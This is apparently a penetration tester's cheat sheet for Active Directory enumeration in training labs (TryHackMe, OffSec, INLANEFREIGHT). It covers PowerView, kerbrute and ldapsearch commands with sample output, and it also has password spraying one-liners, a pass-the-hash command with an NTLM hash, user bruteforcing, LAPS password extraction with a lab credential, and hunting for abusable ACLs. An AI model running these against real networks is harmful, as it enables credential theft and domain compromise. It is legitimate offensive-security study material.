Post Enumeration
Identifying Domain
Import-Module .\PowerView.ps1
Get-NetDomain
#|->
#Forest : za.tryhackme.com
#DomainControllers : {THMDC.za.tryhackme.com}
#Children : {}
#DomainMode : Windows2012R2Domain
#DomainModeLevel : 6
#Parent :
#PdcRoleOwner : THMDC.za.tryhackme.com
#RidRoleOwner : THMDC.za.tryhackme.com
#InfrastructureRoleOwner : THMDC.za.tryhackme.com
#Name : za.tryhackme.com
Import-Module .\PowerView.ps1
Get-NetDomainController
#|->
#Forest : za.tryhackme.com
#CurrentTime : 6/25/2023 12:35:54 PM
#HighestCommittedUsn : 184458
#OSVersion : Windows Server 2019 Standard
#Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
#Domain : za.tryhackme.com
#IPAddress : 10.200.58.101
#SiteName : Default-First-Site-Name
#SyncFromAllServersCallback :
#InboundConnections : {}
#OutboundConnections : {}
#Name : THMDC.za.tryhackme.com
#Partitions : {DC=za,DC=tryhackme,DC=com,
# CN=Configuration,DC=za,DC=tryhackme,DC=com,
# CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com,
# DC=DomainDnsZones,DC=za,DC=tryhackme,DC=com...}
Identifying Hosts
get list of computers
Import-Module .\PowerView.ps1
Get-DomainComputer -Domain za.tryhackme.com | select name
Get-DomainComputer -Domain za.tryhackme.com | select dnshostname
Import-Module .\PowerView.ps1
Get-DomainComputer -name THMDC -Domain za.tryhackme.com
Get-DomainComputer -name THMIIS -Domain za.tryhackme.com
Get-DomainComputer -name THMMDT -Domain za.tryhackme.com
Get-DomainComputer -name THMJMP1 -Domain za.tryhackme.com
#|->
#pwdlastset : 6/8/2022 6:22:43 PM
#logoncount : 331
#msds-generationid : {44, 74, 42, 236...}
#serverreferencebl : CN=THMDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Confi
# guration,DC=za,DC=tryhackme,DC=com
#badpasswordtime : 1/1/1601 12:00:00 AM
#distinguishedname : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=com
#objectclass : {top, person, organizationalPerson, user...}
#lastlogontimestamp : 6/24/2023 1:09:07 PM
#name : THMDC
#objectsid : S-1-5-21-3330634377-1326264276-632209373-1001
#samaccountname : THMDC$
#localpolicyflags : 0
#codepage : 0
#samaccounttype : MACHINE_ACCOUNT
#whenchanged : 6/24/2023 12:09:07 PM
#accountexpires : NEVER
#countrycode : 0
#operatingsystem : Windows Server 2019 Standard
#instancetype : 4
#msdfsr-computerreferencebl : CN=THMDC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSetti
# ngs,CN=System,DC=za,DC=tryhackme,DC=com
#objectguid : 910d503f-f1ba-428c-b5ea-14fc2b6972a0
#operatingsystemversion : 10.0 (17763)
#lastlogoff : 1/1/1601 12:00:00 AM
#objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com
#dscorepropagationdata : {2/24/2022 9:58:38 PM, 1/1/1601 12:00:01 AM}
#serviceprincipalname : {TERMSRV/THMDC, TERMSRV/THMDC.za.tryhackme.com, Dfsr-12F9A27C-BF
# 97-4787-9364-D31B6C55EB04/THMDC.za.tryhackme.com,
# ldap/THMDC.za.tryhackme.com/ForestDnsZones.za.tryhackme.com...}
#usncreated : 12293
#lastlogon : 6/25/2023 1:18:06 PM
#badpwdcount : 0
#cn : THMDC
#useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
#whencreated : 2/24/2022 9:58:38 PM
#primarygroupid : 516
#iscriticalsystemobject : True
#msds-supportedencryptiontypes : 28
#usnchanged : 172069
#ridsetreferences : CN=RID Set,CN=THMDC,OU=Domain
# Controllers,DC=za,DC=tryhackme,DC=com
#dnshostname : THMDC.za.tryhackme.com
Identifying Users
π From windows (domain joined)
PowerView.ps1
get user list get user detailsGet-DomainUser -Identity olivia.goodwin -Domain za.tryhackme.com | select *
Get-DomainUser -Identity olivia.goodwin -Domain za.tryhackme.com | select samaccountname,memberof
net user
get user list
get user detailsπ From linux
responder
kerbrute β enumerating users/opt/windows/kerbrute userenum --help
/opt/windows/kerbrute userenum -d za.tryhackme.com --dc THMDC.za.tryhackme.com user.txt
/opt/windows/kerbrute userenum -d za.tryhackme.com --dc 10.200.58.101 user.txt
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='CONTROLLER.local',userdb=user.txt" $IP
/opt/windows/kerbrute bruteuser --help
/opt/windows/kerbrute bruteuser -v -d za.tryhackme.com --dc THMDC.za.tryhackme.com pass.txt rachel.dunn
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)"
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=user)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=computer)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=user)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no dn description "(objectclass=user)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no name sAMAccountName userPrincipalName description "(objectclass=user)"
-v
: Enables verbose mode, which provides more detailed output about the LDAP communication.-x
: Uses simple authentication, which sends the bind DN and password in plaintext. This option is not secure and should only be used in secure environments or for testing purposes.-b "DC=hutch,DC=offsec"
: Specifies the base DN (distinguished name) for the search. This is the starting point for the search in the directory tree.-H "ldap://$IP"
: Specifies the LDAP server to connect to.$IP
is a variable that contains the IP address of the server.-s sub
: Specifies the scope of the search. Thesub
value indicates that the search should be performed recursively from the base DN.-a search
: Specifies the type of search to perform. Thesearch
value indicates that the search should retrieve all attributes of matching entries.dn description
: Specifies the attributes to retrieve for matching entries. In this case, thedn
anddescription
attributes are requested."(objectclass=user)"
: Specifies the search filter to use. In this case, the filter selects all entries that have theobjectclass
attribute set touser
.
windapsearch.py
Identifying Groups
net group
get list
get nembers of groupnet group "Tier 0 Admins" /domain
net group "Tier 1 Admins" /domain
net group "Tier 2 Admins" /domain
powerView
list
get nembers of groupImport-Module .\PowerView.ps1
Get-NetGroupMember "Tier 1 Admins"
# |->
# GroupDomain : INLANEFREIGHT.LOCAL
# GroupName : Tier 1 Admins
# GroupDistinguishedName : CN=Tier 1 Admins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberDomain : INLANEFREIGHT.LOCAL
# MemberName : NY340
# MemberDistinguishedName : CN=Annie Vazquez,OU=Finance,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberObjectClass : user
# MemberSID : S-1-5-21-3327542485-274640656-2609762496-1716
Identifying Password
π Internal Password Spraying from a Linux Host
Using a Bash one-liner for the Attack
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
π Internal Password Spraying from a Windows Host
wget https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 -O /opt/windows/DomainPasswordSpray.ps1
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
Enumeration with valid credential
π (from linux)
π (from windows)
Enumerating the Password Policy
π Enumerating the Password Policy β from Linux β Credentialed
crackmapexec
With valid domain credentials, the password policy can also be obtained remotely using tools such asΒ CrackMapExecΒ orΒrpcclient
. π Enumerating the Password Policy β from Linux β SMB NULL Sessions
rpcclient
Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. querydominfoΒ - obtain information about the domain and confirm NULL session access. getdompwinfo - obtaining the password policy. enum4linuxπ Enumerating Null Session β from Windows
Establish a null session from windows
net use \\DC01\ipc$ "" /u:"" ## Establish a null session from windows
net use \\DC01\ipc$ "" /u:guest ## Error: Account is Disabled
net use \\DC01\ipc$ "password" /u:guest ## Error: Password is Incorrect
net use \\DC01\ipc$ "password" /u:guest ## Error: Account is locked out (Password Policy)
π Enumerating the Password Policy β from Linux β LDAP Anonymous Bind
LDAP anonymous bindsΒ allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such asΒ windapseach.py,Β ldapsearch,Β ad-ldapdomaindump.py, etc., to pull the password policy. WithΒ ldapsearch, it can be a bit cumbersome but doable. ldapsearch - from linux
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
Enumerating Security Controls
Checking the Status of Defender with Get-MpComputerStatus
Using Get-AppLockerPolicy cmdlet Enumerating Language Mode Using Find-LAPSDelegatedGroups Using Find-AdmPwdExtendedRights Using Get-LAPSComputersEnumerating ACL
π Enumerating ACLs with PowerView
wley is a user that we obtained.
Let's dig in and see if this user (wley) has any interesting ACL rights that we could take advantage of. We first need to load PowerView.ps1
Then need to get the SID of our target user to search effectively.
Searching through all Domain Object - option 1
We can then use the Get-DomainObjectACL function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the $sid variable to the SecurityIdentifier property, which is what tells us who has the given right over an object.
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
|->
ObjectDN : CN=Dana Amundsen,OU=DevOps,...
ObjectAceType: User-Force-Change-Password
ObjectSID: S-1-5-21-3842939050-3880317879-2865463114-1176
User wley has the right to force change the Dana Amundsen user password
Get Dana Amundsen profile
Searching through all Users Object - option 2
Creating a List of Domain Users
Search through users
foreach($line in [System.IO.File]::ReadLines("C:\tools\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
Performing a Reverse Search & Mapping to a GUID Value
$guid="00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" | Where-Object {$_.ObjectClass -like 'ControlAccessRight'} | Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
Microsoft LAPS
LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory. Using the credentials we have already found (fmcsorley:CrabSharkJellyfish192
), let's attempt to query LDAP for the local administrator password.
ldapsearch -v -x -b "DC=hutch,DC=offsec" -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -H "ldap://$IP" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
Enumerating Trust Relationships
from powershell
Using Get-ADTrust
Checking for Existing Trusts using Get-DomainTrust
Using Get-DomainTrustMapping
Checking Users in the Child Domain using Get-DomainUser
Import-Module .\PowerView.ps1
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
from cmd
Using netdom to query domain trust
Using netdom to query domain controllers
Using netdom to query workstations and servers